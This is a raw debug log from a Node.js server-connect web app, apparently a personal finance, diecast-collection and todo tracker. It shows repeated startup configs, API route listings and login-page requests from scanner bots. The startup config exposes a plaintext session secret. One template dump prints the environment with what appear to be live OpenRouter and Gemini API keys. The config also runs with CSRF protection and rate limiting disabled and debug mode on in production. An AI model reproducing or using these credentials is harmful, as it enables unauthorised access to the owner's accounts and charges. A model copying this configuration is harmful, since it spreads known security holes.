    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '185.247.137.140',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-20T11:16:43.546Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-20T11:16:43.726Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-20T11:16:43.809Z server-connect:setup:upload Upload middleware configured.
2026-05-20T11:16:43.810Z server-connect:secure CSRF Protection initialized
2026-05-20T11:16:43.812Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-20T11:16:43.812Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-20T11:16:43.814Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-20T11:16:43.814Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-20T11:16:43.815Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-20T11:16:43.816Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-20T11:16:43.817Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-20T11:16:43.817Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-20T11:16:43.818Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-20T11:16:43.820Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-20T11:16:43.821Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-20T11:16:43.821Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-20T11:16:43.821Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-20T11:16:43.822Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-20T11:16:43.822Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-20T11:16:43.822Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-20T11:16:43.822Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-20T11:16:43.823Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-20T11:16:43.823Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-20T11:16:43.823Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-20T11:16:43.824Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-20T11:16:43.824Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-20T11:16:43.824Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-20T11:16:43.824Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-20T11:16:43.825Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-20T11:16:43.825Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-20T11:16:43.825Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-20T11:16:43.825Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-20T11:16:43.826Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-20T11:16:43.826Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-20T11:16:43.826Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-20T11:16:43.826Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-20T11:16:43.826Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-20T11:16:43.827Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-20T11:16:43.827Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-20T11:16:43.827Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-20T11:16:43.827Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-20T11:16:43.827Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-20T12:12:37.244Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-20T12:12:37.449Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-20T12:12:37.530Z server-connect:setup:upload Upload middleware configured.
2026-05-20T12:12:37.531Z server-connect:secure CSRF Protection initialized
2026-05-20T12:12:37.533Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-20T12:12:37.534Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-20T12:12:37.535Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-20T12:12:37.535Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-20T12:12:37.536Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-20T12:12:37.537Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-20T12:12:37.537Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-20T12:12:37.538Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-20T12:12:37.541Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-20T12:12:37.541Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-20T12:12:37.541Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-20T12:12:37.542Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-20T12:12:37.542Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-20T12:12:37.542Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-20T12:12:37.543Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-20T12:12:37.543Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-20T12:12:37.543Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-20T12:12:37.544Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-20T12:12:37.544Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-20T12:12:37.544Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-20T12:12:37.544Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-20T12:12:37.545Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-20T12:12:37.545Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-20T12:12:37.546Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-20T12:12:37.546Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-20T12:12:37.546Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-20T12:12:37.546Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-20T12:12:37.546Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-20T12:12:37.547Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-20T12:12:37.547Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-20T12:12:37.547Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-20T12:12:37.547Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-20T12:12:37.548Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-20T12:12:37.548Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-20T12:12:37.548Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-20T12:12:37.548Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-20T12:12:37.548Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-20T12:12:37.548Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-20T12:12:37.647Z server-connect:router Serving templateView /
2026-05-20T12:12:37.657Z server-connect:app Executing action step identify
2026-05-20T12:12:37.657Z server-connect:app options: { provider: 'security' }
2026-05-20T12:12:37.659Z server-connect:auth No login cookie found
2026-05-20T12:12:37.659Z server-connect:output identity: false
2026-05-20T12:12:37.659Z server-connect:app Executing action step restrict
2026-05-20T12:12:37.660Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-20T12:12:37.663Z server-connect:output restrict: undefined
2026-05-20T14:48:55.327Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-20T14:48:57.017Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-20T14:48:57.880Z server-connect:setup:upload Upload middleware configured.
2026-05-20T14:48:57.880Z server-connect:secure CSRF Protection initialized
2026-05-20T14:48:57.885Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-20T14:48:57.888Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-20T14:48:57.889Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-20T14:48:57.956Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-20T14:48:57.960Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-20T14:48:57.963Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-20T14:48:57.977Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-20T14:48:57.990Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-20T14:48:57.996Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-20T14:48:57.996Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-20T14:48:57.998Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-20T14:48:58.002Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-20T14:48:58.008Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-20T14:48:58.017Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-20T14:48:58.022Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-20T14:48:58.094Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-20T14:48:58.096Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-20T14:48:58.100Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-20T14:48:58.106Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-20T14:48:58.109Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-20T14:48:58.111Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-20T14:48:58.120Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-20T14:48:58.120Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-20T14:48:58.128Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-20T14:48:58.128Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-20T14:48:58.134Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-20T14:48:58.134Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-20T14:48:58.138Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-20T14:48:58.142Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-20T14:48:58.146Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-20T14:48:58.146Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-20T14:48:58.150Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-20T14:48:58.154Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-20T14:48:58.154Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-20T14:48:58.164Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-20T14:48:58.166Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-20T14:48:58.168Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-20T14:48:58.178Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-20T14:48:58.792Z server-connect:router Serving templateView /
2026-05-20T14:48:58.794Z server-connect:app Executing action step identify
2026-05-20T14:48:58.794Z server-connect:app options: { provider: 'security' }
2026-05-20T14:48:58.796Z server-connect:auth No login cookie found
2026-05-20T14:48:58.796Z server-connect:output identity: false
2026-05-20T14:48:58.797Z server-connect:app Executing action step restrict
2026-05-20T14:48:58.797Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-20T14:48:58.801Z server-connect:output restrict: undefined
2026-05-21T05:47:59.964Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-21T05:48:02.044Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-21T05:48:02.907Z server-connect:setup:upload Upload middleware configured.
2026-05-21T05:48:02.907Z server-connect:secure CSRF Protection initialized
2026-05-21T05:48:02.913Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-21T05:48:02.914Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-21T05:48:02.917Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-21T05:48:02.917Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-21T05:48:02.924Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-21T05:48:02.928Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-21T05:48:02.942Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-21T05:48:02.954Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-21T05:48:02.959Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-21T05:48:02.961Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-21T05:48:02.964Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-21T05:48:02.966Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-21T05:48:02.972Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-21T05:48:02.982Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-21T05:48:02.987Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-21T05:48:02.994Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-21T05:48:02.995Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-21T05:48:02.999Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-21T05:48:03.008Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-21T05:48:03.011Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-21T05:48:03.014Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-21T05:48:03.021Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-21T05:48:03.024Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-21T05:48:03.029Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-21T05:48:03.032Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-21T05:48:03.036Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-21T05:48:03.036Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-21T05:48:03.039Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-21T05:48:03.046Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-21T05:48:03.046Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-21T05:48:03.049Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-21T05:48:03.052Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-21T05:48:03.055Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-21T05:48:03.055Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-21T05:48:03.063Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-21T05:48:03.066Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-21T05:48:03.068Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-21T05:48:03.078Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-21T14:18:05.411Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-21T14:18:07.681Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-21T14:18:08.545Z server-connect:setup:upload Upload middleware configured.
2026-05-21T14:18:08.545Z server-connect:secure CSRF Protection initialized
2026-05-21T14:18:08.550Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-21T14:18:08.554Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-21T14:18:08.555Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-21T14:18:08.556Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-21T14:18:08.563Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-21T14:18:08.566Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-21T14:18:08.581Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-21T14:18:08.593Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-21T14:18:08.597Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-21T14:18:08.602Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-21T14:18:08.602Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-21T14:18:08.606Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-21T14:18:08.613Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-21T14:18:08.622Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-21T14:18:08.628Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-21T14:18:08.700Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-21T14:18:08.701Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-21T14:18:08.706Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-21T14:18:08.710Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-21T14:18:08.714Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-21T14:18:08.716Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-21T14:18:08.725Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-21T14:18:08.725Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-21T14:18:08.732Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-21T14:18:08.734Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-21T14:18:08.738Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-21T14:18:08.741Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-21T14:18:08.741Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-21T14:18:08.749Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-21T14:18:08.749Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-21T14:18:08.751Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-21T14:18:08.755Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-21T14:18:08.758Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-21T14:18:08.758Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-21T14:18:08.766Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-21T14:18:08.770Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-21T14:18:08.770Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-21T14:18:08.781Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-21T14:18:09.269Z server-connect:router Serving templateView /
2026-05-21T14:18:09.272Z server-connect:app Executing action step identify
2026-05-21T14:18:09.272Z server-connect:app options: { provider: 'security' }
2026-05-21T14:18:09.274Z server-connect:auth No login cookie found
2026-05-21T14:18:09.274Z server-connect:output identity: false
2026-05-21T14:18:09.274Z server-connect:app Executing action step restrict
2026-05-21T14:18:09.275Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-21T14:18:09.278Z server-connect:output restrict: undefined
2026-05-21T14:18:09.415Z server-connect:router Serving templateView /login
2026-05-21T14:18:09.415Z server-connect:app Executing action step identify
2026-05-21T14:18:09.415Z server-connect:app options: { provider: 'security' }
2026-05-21T14:18:09.415Z server-connect:auth No login cookie found
2026-05-21T14:18:09.415Z server-connect:output identity: false
2026-05-21T14:18:09.415Z server-connect:router Render template layouts/authentication
2026-05-21T14:18:09.416Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.63.49.98',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-22T14:18:09.413Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.63.49.98',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.63.49.98',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-21T17:07:43.351Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
